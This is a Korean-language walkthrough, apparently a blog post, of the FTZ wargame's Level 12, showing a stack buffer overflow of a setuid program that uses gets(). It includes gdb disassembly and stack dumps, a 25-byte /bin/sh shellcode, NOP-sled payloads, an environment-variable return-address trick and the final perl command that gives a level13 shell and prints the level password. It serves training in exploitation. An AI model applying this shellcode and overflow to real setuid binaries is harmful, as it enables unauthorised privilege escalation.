본문으로 바로가기

ftz.hackerschool.org의 이미지를 받아 사용했습니다. 


- Level12

level12 / it is like this


[level12@ftz level12]$ ls -l

 

 합계 28

-rwsr-x---    1 level13  level12     13771  3월  8  2003 attackme

-rw-r-----    1 root     level12       204  3월  8  2003 hint

drwxr-xr-x    2 root     level12      4096  2월 24  2002 public_html

drwxrwxr-x    2 root     level12      4096  1월 15  2009 tmp

 


[level12@ftz level12]$ cat hint

 

 #include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main( void )

{

        char str[256];


        setreuid( 3093, 3093 );

        printf( "문장을 입력하세요.\n" );

        gets( str );

        printf( "%s\n", str );

}

 

> 먼저 권한을 얻어서 사용해야할 쉘 명령어가 없으니 쉘코드를 올려야 합니다. 

> 전에 어셈블리로 만든 쉘코드가 25bytes 였는대 str이 256bytes 니 충분히 그냥 올릴 수 있을 거 같습니다.  ( 에그쉘 없이 )

[참고] http://5log.tistory.com/174


[level12@ftz level12]$ cp attackme ./tmp

[level12@ftz level12]$ cd tmp

[level12@ftz tmp]$ gdb -q attackme

 

 (gdb) disas main

Dump of assembler code for function main:

0x08048470 <main+0>:    push   %ebp

0x08048471 <main+1>:    mov    %esp,%ebp

0x08048473 <main+3>:    sub    $0x108,%esp

0x08048479 <main+9>:    sub    $0x8,%esp

0x0804847c <main+12>:   push   $0xc15

0x08048481 <main+17>:   push   $0xc15

0x08048486 <main+22>:   call   0x804835c <setreuid>

0x0804848b <main+27>:   add    $0x10,%esp

0x0804848e <main+30>:   sub    $0xc,%esp

0x08048491 <main+33>:   push   $0x8048538

0x08048496 <main+38>:   call   0x804834c <printf>

0x0804849b <main+43>:   add    $0x10,%esp

0x0804849e <main+46>:   sub    $0xc,%esp

0x080484a1 <main+49>:   lea    0xfffffef8(%ebp),%eax

0x080484a7 <main+55>:   push   %eax

0x080484a8 <main+56>:   call   0x804831c <gets>

0x080484ad <main+61>:   add    $0x10,%esp

0x080484b0 <main+64>:   sub    $0x8,%esp

0x080484b3 <main+67>:   lea    0xfffffef8(%ebp),%eax

0x080484b9 <main+73>:   push   %eax

0x080484ba <main+74>:   push   $0x804854c

0x080484bf <main+79>:   call   0x804834c <printf>

0x080484c4 <main+84>:   add    $0x10,%esp

0x080484c7 <main+87>:   leave

0x080484c8 <main+88>:   ret

0x080484c9 <main+89>:   lea    0x0(%esi),%esi

0x080484cc <main+92>:   nop

0x080484cd <main+93>:   nop

0x080484ce <main+94>:   nop

0x080484cf <main+95>:   nop

End of assembler dump.

 

> 변수 공간이 108( 264bytes) 할당 되었다. 변수는 str (256bytes)하나 이므로  나머지는 더미값이라는 것을 알 수 잇다. 


 

(gdb) b *0x080484bf

Breakpoint 1 at 0x80484bf

(gdb) run

Starting program: /home/level12/tmp/attackme

문장을 입력하세요.

AAAAAAAAAAAAAAAA


Breakpoint 1, 0x080484bf in main ()

(gdb) x/66x $esp

0xbfffee50:     0x0804854c      0xbfffee60      0xbfffee80      0x00000001

0xbfffee60:     0x41414141      0x41414141      0x41414141      0x41414141

0xbfffee70:     0xbfffef00      0x40015a38      0x0029656e      0x00000000

0xbfffee80:     0x4200b894      0x400160b0      0x00000000      0x00000000

0xbfffee90:     0x00000000      0x00000000      0x00000000      0x4000807f

0xbfffeea0:     0x4001582c      0x00001f1f      0xbfffeed0      0xbfffeefc

0xbfffeeb0:     0x4000be03      0x4001624c      0x00000000      0x0177ff8e

0xbfffeec0:     0x4000807f      0x4001582c      0x00000059      0x40015a38

0xbfffeed0:     0xbfffef20      0x4000be03      0x40015bd4      0x40016380

0xbfffeee0:     0x00000001      0x00000000      0x4200dba3      0x420069e4

0xbfffeef0:     0x42130a14      0xbffffc26      0xbfffefb4      0xbfffef34

0xbfffef00:     0x4000bcc0      0x08049648      0x00000001      0x08048249

0xbfffef10:     0x4210fd3c      0x42130a14      0xbfffef38      0x4210fdf6

0xbfffef20:     0x08049560      0x08049664      0x00000000      0x00000000

0xbfffef30:     0x4210fdc0      0x42130a14      0xbfffef58      0x08048451

0xbfffef40:     0x08049560      0x08049664      0x4001582c      0x0804839e

0xbfffef50:     0x080482e4      0x42130a14


 

> gets 함수가 실행되고 난 뒤를 브레이크 포인터로 잡고 실행시켜 A를 몇개 넣고 스택을 확인 했다. 

> 적당히 주소를 return address로 주어  쉘코드를 실행하려고 했는대. A의 개수를 변하게 하고 두번만 돌려봐도 스택의 주소가 바뀐것을 확인 할 수 있다. 

( \x90  NOP 를 주면 다음 스택을 계속 해서 실행하므로  NOP가 있는 아무 주소로 return 해도 뒤에 있는 쉘코드가 실행될 것이다. )


 

 str

dummy 

SFP 

RET 

.... 

 

 

 256

 8

....

 


- 쉘코드 ( 25byte )

"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"


$(perl -e 'print "\x90"x200,"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80","\x90"x31")

-> 256 bytes = (\x90) 200 + (쉘 코드) 25 + (\x90) 31 


여기서 더미 값 8 bytes와 SFP 4 bytes 를 더 써주고  bfffee70 를 적으면 된다. 


$(perl -e 'print "\x90"x200,"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80","\x90"x43,"\x70\xee\xff\bf")


>> 안된다 

> 다시 gdb 로 돌려서 확인해보니 스택의 주소가 프로그램을 돌릴 때마다 바뀐다.. 


> 쉘코드를 올려놓고 그 주소로 return 해야겠다. 

[level12@ftz level12]$export SHELLCODE=`perl -e 'print "\x90"x200,"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


[level12@ftz tmp]$ vi getenv.c

 

 #include <stdio.h>


int main( int argc , char *agrv[])
{
        printf("ADDR = %p\n",getenv(agrv[1]));
        return 0;
}

 

> 환경변수 주소를 알아내는 코드


[level12@ftz tmp]$ gcc -o getenv getenv.c

[level12@ftz level12]$ ./tmp/getenv SHELLCODE

 

 ADDR = 0xbffffb7f

 

> 이 주소를 ret 에 넣으며 된다. 


[level12@ftz level12]$ (perl -e 'print "A"x268,"\x7f\xfb\xff\xbf"';cat) | ./attackme

 

 문장을 입력하세요.


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??


id
uid=3093(level13) gid=3092(level12) groups=3092(level12)
my-pass
TERM environment variable not set.

Level13 Password is "have no clue".

 

> 스택으로 돌아갈 것이 아니기 때문에 NOP 처리를 하지 않고 아무 문자나 체워도 상관없다.